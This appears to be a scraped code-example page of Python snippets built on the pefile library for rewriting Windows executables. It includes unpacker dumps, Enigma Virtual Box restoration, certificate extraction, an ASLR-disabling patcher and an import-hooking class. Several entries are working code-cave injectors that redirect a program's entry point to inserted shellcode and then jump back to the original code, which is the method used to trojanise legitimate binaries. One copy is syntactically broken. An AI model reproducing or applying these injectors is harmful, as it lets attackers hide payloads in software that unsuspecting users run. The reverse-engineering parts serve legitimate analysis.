Esempio n. 1
0
def dump_image(uc, base_addr, virtualmemorysize, path="unpacked.exe"):
    loaded_img = uc.mem_read(base_addr, virtualmemorysize + 0x3000)
    pe = PE(data=loaded_img)

    print("Fixing sections")
    for i in range(len(pe.sections) - 1):
        curr_section = pe.sections[i]
        next_section = pe.sections[i + 1]
        fix_section(curr_section, next_section.VirtualAddress)

    # handle last section differently: we have no next section's virtual address. Thus we take the end of the image
    fix_section(pe.sections[-1], virtualmemorysize)

    pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()

    print(f"Dumping state to {path}")
    pe.write(path)
Esempio n. 2
0
def dump_image(uc, base_addr, virtualmemorysize, path="unpacked.exe"):
    print(f"Dumping state to {path}")
    loaded_img = uc.mem_read(base_addr, virtualmemorysize + 0x3000)

    pe = PE(data=loaded_img)
    header_size = align(len(pe.header))

    pe.sections[0].PointerToRawData = header_size
    # make the section 2GiB ... pefile truncates to actual max size of data
    pe.sections[0].SizeOfRawData = 0x80000000
    pe.sections[0].Misc_VirtualSize = len(pe.sections[0].get_data())

    for section in pe.sections[1:]:
        section.SizeOfRawData = 0
        section.Misc_VirtualSize = 0

    pe.write(path)
Esempio n. 3
0
def restore_pe(file):
    from pefile import PE
    pe = PE(file,fast_load=True)
    # Helpers
    find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
    find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))
    # Remove .enigma sections
    pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData]
    pe.FILE_HEADER.NumberOfSections -= 2
    # Restore rdata & idata sections
    find_data_directory('TLS').VirtualAddress = find_section(b'.rdata').VirtualAddress
    find_data_directory('ENTRY_IMPORT').VirtualAddress = find_section(b'.idata').VirtualAddress
    # Write to new file
    pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
    pe_name = os.path.join(output,pe_name).replace('\\','/')
    pe.write(pe_name)
    print('[-] Original PE saved:',pe_name)
Esempio n. 4
0
def injectPE(filename, shellcode, output_file):
    pe = PE(filename)
    original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe)

    # check permissions
    print '[*] Permissions for entry point\'s section :', permissions.items()
    if permissions['exec'] == False:
        print '[!] Entry point is not executable! Wtf? Exiting!'
        exit(1)

    # check for enough padding to fit the payload
    print '[*] Found %d bytes of padding' % padding
    sc_size = len(shellcode) + 7  # +1 pusha, +1 popa, +5 rel32 jmp

    if padding < sc_size:
        print '[!] Not enough padding to insert shellcode :('
        exit(1)
    else:
        print '  [+] There is enough room for the shellcode!'
        print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (
            pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset),
            pe.OPTIONAL_HEADER.ImageBase +
            pe.get_rva_from_offset(end_offset_aligned))
        print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (
            end_offset, end_offset_aligned)

    # use the right-most bytes available
    sc_end_offset = end_offset_aligned
    sc_start_offset = sc_end_offset - sc_size
    print '[*] Placing the payload at :'
    print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (
        pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_start_offset),
        pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_end_offset))
    print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset,
                                                            sc_end_offset)

    # change the entry point
    changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset))
    raw_data = pe.write()
    jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset)

    # fix the shellcode to save register contents and jmp to original entry after completion
    shellcode = fixShellcode(shellcode, jmp_distance)
    raw_data = insertShellcode(raw_data, sc_start_offset, shellcode)

    # write the new file
    pe.close()  # close the 'opened' PE first
    new_file = open(output_file, 'wb')
    new_file.write(raw_data)
    new_file.close()
    print '[*] New file created :)'
Esempio n. 5
0
def main(exe_file, shellcode):
    if not (os.path.isfile(exe_file)):
        print(
            "\nExecutable file cant detected ! \n Please try with full path.\n"
        )
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize
                 ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(shellcode) + 7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format(covecavelenght(pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
            scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode,
                                          pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off +
                   len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()

        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print("\nNew file : {0} saved !").format(final_pe_file)
        print('[*] Job Done! :)')
Esempio n. 6
0
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(
                pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress +
                         pe_sections.Misc_VirtualSize
                         ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
            scode_size = len(shellcode) + 7
            if padd < scode_size:
                summary.append(
                    logs.err('Not enough size for shellcode injection',
                             prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
                    scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
                                              pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off +
                           len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(
                    logs.good('Succesfully injected shellcode', prnt=False))
Esempio n. 7
0
def injectPE(filename, shellcode, output_file):
	pe = PE(filename)
	original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	(end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe)

	# check permissions
	print '[*] Permissions for entry point\'s section :', permissions.items()
	if permissions['exec'] == False:
		print '[!] Entry point is not executable! Wtf? Exiting!'
		exit(1)

	# check for enough padding to fit the payload
	print '[*] Found %d bytes of padding' % padding
	sc_size = len(shellcode)+7 # +1 pusha, +1 popa, +5 rel32 jmp

	if padding < sc_size:
		print '[!] Not enough padding to insert shellcode :('
		exit(1)
	else:
		print '  [+] There is enough room for the shellcode!'
		print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset_aligned))
		print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (end_offset, end_offset_aligned)

	# use the right-most bytes available
	sc_end_offset = end_offset_aligned
	sc_start_offset = sc_end_offset - sc_size
	print '[*] Placing the payload at :'
	print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_end_offset))
	print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset)

	# change the entry point
	changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset))
	raw_data = pe.write()
	jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset)

	# fix the shellcode to save register contents and jmp to original entry after completion
	shellcode = fixShellcode(shellcode, jmp_distance)
	raw_data = insertShellcode(raw_data, sc_start_offset, shellcode)

	# write the new file
	pe.close() # close the 'opened' PE first
	new_file = open(output_file, 'wb')
	new_file.write(raw_data)
	new_file.close()
	print '[*] New file created :)'
def main( exe_file, shellcode):
    if not (os.path.isfile( exe_file)):
        print("\nExecutable file cant detected ! \n Please try with full path.\n")	
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
    scode_size = len(shellcode)+7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format( covecavelenght( pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()


        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print ("\nNew file : {0} saved !").format( final_pe_file)
        print ('[*] Job Done! :)')
Esempio n. 9
0
logger.addHandler(h)


def get_pe_aslr_status(pe):
    DYNAMIC_BASE = 0x40
    is_aslr = pe.OPTIONAL_HEADER.DllCharacteristics & DYNAMIC_BASE
    if is_aslr:
        logger.warning('the binary has ASLR enabled! disabling...')
        pe.OPTIONAL_HEADER.DllCharacteristics &= ~DYNAMIC_BASE
        return (True, pe)
    else:
        logger.info('the binary does not have ASLR enabled')
        return (False, pe)


if __name__ == '__main__':
    if len(argv) != 2:
        logger.error('usage: ./is_aslr_enabled.py <PE file>')
        exit(1)
    path = argv[1]
    logger.debug('opening PE file with path {path}'.format(path=path))
    pe = PE(path)
    logger.info('checking status of ASLR within the binary')
    (changed, pe) = get_pe_aslr_status(pe)
    if changed:
        new_path = '{orig_exe}-patched.exe'.format(orig_exe=path)
        pe.write(filename=new_path)
        logger.info('updated file written. verifying ASLR has been disabled')
        pe = PE(new_path)
        get_pe_aslr_status(pe)
Esempio n. 10
0
    exe_file = raw_input("Enter Path To Exe File ")
    final_pe_file = raw_input("Enter Path To New Exe File: ")
    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(sample_shell_code) + 7
    if padd < scode_size:
        # Enough space is not available for shellcode
        exit()
        # Code can be injected
    scode_end_off = e_offset
    scode_start_off = scode_end_off - scode_size
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
    raw_pe_data = pe.write()
    jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
    sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF))
    final_data = list(raw_pe_data)
    final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code
    final_data = "".join(final_data)
    raw_pe_data = final_data
    pe.close()
    new_file = open(final_pe_file, "wb")
    new_file.write(raw_pe_data)
    new_file.close()
    print "New File : " + final_pe_file
Esempio n. 11
0
	exe_file = raw_input('[*] Enter full path of the main executable :')
	final_pe_file = raw_input('[*] Enter full path of the output executable :')
	pe = PE(exe_file)
	OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
	align = pe.OPTIONAL_HEADER.SectionAlignment
	what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
	end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
	padd = align - (end_rva % align)
	e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
	scode_size = len(sample_shell_code)+7
if padd < scode_size:
# Enough space is not available for shellcode
		exit()
# Code can be injected
	scode_end_off = e_offset
	scode_start_off = scode_end_off - scode_size
	pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
	raw_pe_data = pe.write()
	jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
	sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff))
	final_data = list(raw_pe_data)
	final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code
	final_data = ''.join(final_data)
	raw_pe_data = final_data
	pe.close()
	new_file = open(final_pe_file, 'wb')
	new_file.write(raw_pe_data)
	new_file.close()
print '[*] Job Done! :)'
Esempio n. 12
0
    def get_digital_signers(self, pe: pefile.PE) -> List[dict]:
        """If this executable is signed, get its signature(s)."""
        if not pe:
            return []

        if not HAVE_CRYPTO:
            log.critical(
                "You do not have the cryptography library installed preventing certificate extraction. pip3 install cryptography"
            )
            return []

        dir_index = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]

        if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) < dir_index:
            return []

        dir_entry = pe.OPTIONAL_HEADER.DATA_DIRECTORY[dir_index]
        if not dir_entry or not dir_entry.VirtualAddress or not dir_entry.Size:
            return []

        retlist = []
        address = pe.OPTIONAL_HEADER.DATA_DIRECTORY[dir_index].VirtualAddress

        # check if file is digitally signed
        if address == 0:
            return retlist

        signatures = pe.write()[address + 8:]

        if isinstance(signatures, bytearray):
            signatures = bytes(signatures)

        try:
            certs = backend.load_der_pkcs7_certificates(signatures)
        except Exception:
            certs = []

        for cert in certs:
            md5 = binascii.hexlify(cert.fingerprint(hashes.MD5())).decode()
            sha1 = binascii.hexlify(cert.fingerprint(hashes.SHA1())).decode()
            sha256 = binascii.hexlify(cert.fingerprint(
                hashes.SHA256())).decode()
            cert_data = {
                "md5_fingerprint": md5,
                "sha1_fingerprint": sha1,
                "sha256_fingerprint": sha256,
                "serial_number": str(cert.serial_number),
                "not_before": cert.not_valid_before.isoformat(),
                "not_after": cert.not_valid_after.isoformat(),
            }
            try:
                for attribute in cert.subject:
                    cert_data[
                        f"subject_{attribute.oid._name}"] = attribute.value
            except ValueError as e:
                log.warning(e)
            try:
                for attribute in cert.issuer:
                    cert_data[
                        f"issuer_{attribute.oid._name}"] = attribute.value
            except ValueError as e:
                log.warning(e)
            try:
                for extension in cert.extensions:
                    if extension.oid._name == "authorityKeyIdentifier" and extension.value.key_identifier:
                        cert_data[
                            f"extensions_{extension.oid._name}"] = base64.b64encode(
                                extension.value.key_identifier).decode()
                    elif extension.oid._name == "subjectKeyIdentifier" and extension.value.digest:
                        cert_data[
                            f"extensions_{extension.oid._name}"] = base64.b64encode(
                                extension.value.digest).decode()
                    elif extension.oid._name == "certificatePolicies":
                        for index, policy in enumerate(extension.value):
                            if policy.policy_qualifiers:
                                for qualifier in policy.policy_qualifiers:
                                    if qualifier.__class__ is not cryptography.x509.extensions.UserNotice:
                                        cert_data[
                                            f"extensions_{extension.oid._name}_{index}"] = qualifier
                    elif extension.oid._name == "cRLDistributionPoints":
                        for index, point in enumerate(extension.value):
                            for full_name in point.full_name:
                                cert_data[
                                    f"extensions_{extension.oid._name}_{index}"] = full_name.value
                    elif extension.oid._name == "authorityInfoAccess":
                        for authority_info in extension.value:
                            if authority_info.access_method._name == "caIssuers":
                                cert_data[
                                    f"extensions_{extension.oid._name}_caIssuers"] = authority_info.access_location.value
                            elif authority_info.access_method._name == "OCSP":
                                cert_data[
                                    f"extensions_{extension.oid._name}_OCSP"] = authority_info.access_location.value
                    elif extension.oid._name == "subjectAltName":
                        for index, name in enumerate(
                                extension.value._general_names):
                            if isinstance(name.value, bytes):
                                cert_data[
                                    f"extensions_{extension.oid._name}_{index}"] = base64.b64encode(
                                        name.value).decode()
                            else:
                                cert_data[
                                    f"extensions_{extension.oid._name}_{index}"] = (
                                        name.value.rfc4514_string() if hasattr(
                                            name.value,
                                            "rfc4514_string") else name.value)
            except ValueError:
                continue

            retlist.append(cert_data)

        return retlist
Esempio n. 13
0
def restore_pe(file,output):
    # PEfile isn't the best for this job, but we'll get it done ;)
    # TODO : Recaluclate SizeOfImage to match the acutal file
    from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS
    print('[-] Loading PE...')
    pe = PE(file,fast_load=True)
    PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS
    pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data
    # Helpers    
    find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
    find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))    
    # Data
    enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:]
    hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76)
    # Restore section with built-in offsets. All these ADDRESSes are VAs
    find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS']
    find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE']
    find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS']
    find_data_directory('RELOC').Size = hdr['RELOC_SIZE']
    print('[-] Rebuilding Exception directory...')
    # Rebuild the exception directory
    exception_dir = find_data_directory('EXCEPTION')    
    exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress)
    exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size]    
    exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION
    exception_end = 0
    for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)):
        block = unpack(exception_struct,exception_data[i:])
        block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS'])
        exception_end = i
        if b'.enigma' in block['section'].Name: 
            break
    exception_data = exception_data[:exception_end]
    # Prepare partial TLS data for searching
    tls_dir = find_data_directory('TLS')    
    tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress)
    tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size])    
    original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase
    original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback)
    if (PE64): 
        tls_data += original_callback       # AddressOfCallBacks
    else:
        tls_data[12:16] = original_callback # AddressOfCallBacks
        tls_data = tls_data[:16]
    # Destory .enigma* sections
    pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:]
    # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway.
    assert pe.sections.pop().Name == b'.enigma2'
    assert pe.sections.pop().Name == b'.enigma1'
    pe.FILE_HEADER.NumberOfSections -= 2    
    # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above
    # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo  
    if (exception_data):
        # Reassign the RVA & sizes    
        print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data))
        # Find where this could be placed at...since EVB clears the original exception directory listings
        # PEs with overlays won't work at all if EVB packed them.
        # We must remove the sections and do NOT append anything new
        offset = 0
        for section in pe.sections:
            offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData)
            if offset_ > 0: 
                # Check for references in the Optional Data Directory
                # The offset should not be referenced otherwise we would overwrite existing data
                for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
                    if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size):                        
                        offset = 0
                        break
                    else:
                        offset = offset_                        
            if offset > 0:
                break
        assert offset > 0,"Cannot place Exceptions Directory!"
        section = pe.get_section_by_rva(pe.get_rva_from_offset(offset))
        print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData))
        pe.__data__[offset:offset+len(exception_data)] = exception_data
        section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data))
        exception_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        exception_dir.Size = len(exception_data)
    else:
        print('[-] Original program does not contain Exception Directory.')
        exception_dir.VirtualAddress = 0
        exception_dir.Size = 0
    offset = pe.__data__.find(tls_data)
    # Append the exception section and assign the pointers
    # Serach for TLS in memory map since it's not removed.
    tls_dir = find_data_directory('TLS')
    if (offset > 0):
        print('[-] TLS Directory found. Offset=0x%x' % offset)
        tls_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        tls_dir.Size = 40 if PE64 else 24
    else:
        print('[-] Original program does not utilize TLS.')
        tls_dir.VirtualAddress = 0
        tls_dir.Size = 0
    # Write to new file
    pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
    pe_name = os.path.join(output,pe_name).replace('\\','/')    
    new_file_data = pe.write()
    write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE')
    print('[-] Original PE saved:',pe_name)
Esempio n. 14
0
class WSHInstrumentation(object):
    def __init__(self, libpath):
        self.libpath = libpath
        self.pe = PE(libpath)

        last_section = self.pe.sections[-1]
        # In case of uninitialized data at the end of section
        # Not needed now, so not implemented
        assert last_section.Misc_VirtualSize <= last_section.SizeOfRawData
        self.last_section = last_section
        # Set RWX
        self.last_section.IMAGE_SCN_MEM_WRITE = True
        self.last_section.IMAGE_SCN_MEM_EXECUTE = True
        # Move from mmap to str
        self.pe.__data__ = self.pe.__data__.read(self.pe.__data__.size())

    def next_rva(self):
        section = self.last_section
        return section.VirtualAddress + section.SizeOfRawData

    def append(self, data):
        section = self.last_section
        rva = self.next_rva()
        section.SizeOfRawData += len(data)
        section.Misc_VirtualSize = section.SizeOfRawData
        self.pe.__data__ += data
        return rva

    def align(self, alignment, padchar='\x00'):
        va = self.next_rva()
        pad = (alignment - va % alignment)
        self.append(pad * padchar)

    def rebuild_imports(self, routines):
        # Build string list
        rva_winedrop_dll = self.append("winedrop.dll\x00")
        rva_routine_str = []
        for r in routines:
            # hint (0) + name + terminator
            rva_routine_str.append(self.append('\x00\x00' + r + '\x00'))
        # 0x10 alignment
        self.align(16)
        # Build OriginalThunkList
        rva_oft = self.next_rva()
        for r in rva_routine_str:
            self.append(p32(r))
        self.append(p32(0))
        # 0x10 alignment
        self.align(16)
        # Build ThunkList
        rva_ft = self.next_rva()
        rva_iat = []
        for r in rva_routine_str:
            rva_iat.append(self.append(p32(r)))
        self.append(p32(0))
        # 0x10 alignment
        self.align(16)
        # Copy import table entries
        offs_imports = self.pe.get_offset_from_rva(
            self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress)
        rva_imports = self.next_rva()
        while True:
            entry = self.pe.__data__[offs_imports:offs_imports + 20]
            if entry[:4] == "\x00\x00\x00\x00":
                break
            offs_imports += 20
            self.append(entry)
        # Add winedrop.dll entry
        self.append(
            struct.pack(
                "<IIIII",
                rva_oft,  # OriginalFirstThunk
                0,  # Timestamp
                0,  # ForwarderChain
                rva_winedrop_dll,  # Name
                rva_ft))  # FirstThunk
        # Add import table delimiter entry
        self.append("\x00" * 20)
        # End of import pseudo-section
        self.align(0x200)
        # Fix data directory and finish!
        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = rva_imports
        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20
        # Fix SizeOfImage
        sizeOfImage = self.last_section.VirtualAddress + self.last_section.SizeOfRawData
        self.pe.OPTIONAL_HEADER.SizeOfImage = sizeOfImage + (
            4096 - sizeOfImage % 4096)
        # Return IAT entries for each imported routine
        return rva_iat

    def add_trampolines(self, iat):
        """
        Assume that we're hooking function with signature "int __stdcall fn(a,b,c)".
        After CALL to trampoline, stack looks like:
            fn_ptr
            callee_ptr
            a
            b
            c
        We will swap last two elements:
            callee_ptr
            fn_ptr+2
            a
            b
            c
        So now we're effectively calling "int __stdcall hook_fn(orig_ptr, a, b, c)" with callee_ptr as return address.
        """
        tramp_code = ''.join([
            "\x58",  # pop eax
            "\x83\xc0\x02",  # add eax, 2
            "\x87\x04\x24",  # xchg [esp], eax
            "\x50",  # push eax
            "\xe8\x00\x00\x00\x00",  # call $+5
            "\x58",  # pop eax
            "\xff\xa0"  # jmp [eax+...]
        ])
        tramp_edx = len(tramp_code) - 3
        tramp_rva = []
        for va in iat:
            tramp_rva.append(
                self.append(tramp_code + p32((va -
                                              (self.next_rva() + tramp_edx)))))
            self.align(16, '\xcc')
        self.align(0x200)
        return tramp_rva

    def hook_patch(self, patch_va, tramp_va):
        patch_offs = self.pe.get_offset_from_rva(patch_va)
        # Is it "hookable" function prologue?
        assert self.pe.__data__[patch_offs - 5:patch_offs +
                                2] == "\x90\x90\x90\x90\x90\x8B\xFF"
        # Apply hook patch (jmp backwards, call to tramp_va)
        data = bytearray(self.pe.__data__)
        data[patch_offs - 5:patch_offs + 2] = "\xe8{}\xeb\xf9".format(
            p32(tramp_va - patch_va))
        self.pe.__data__ = str(data)

    def write(self, fname):
        self.pe.write(fname)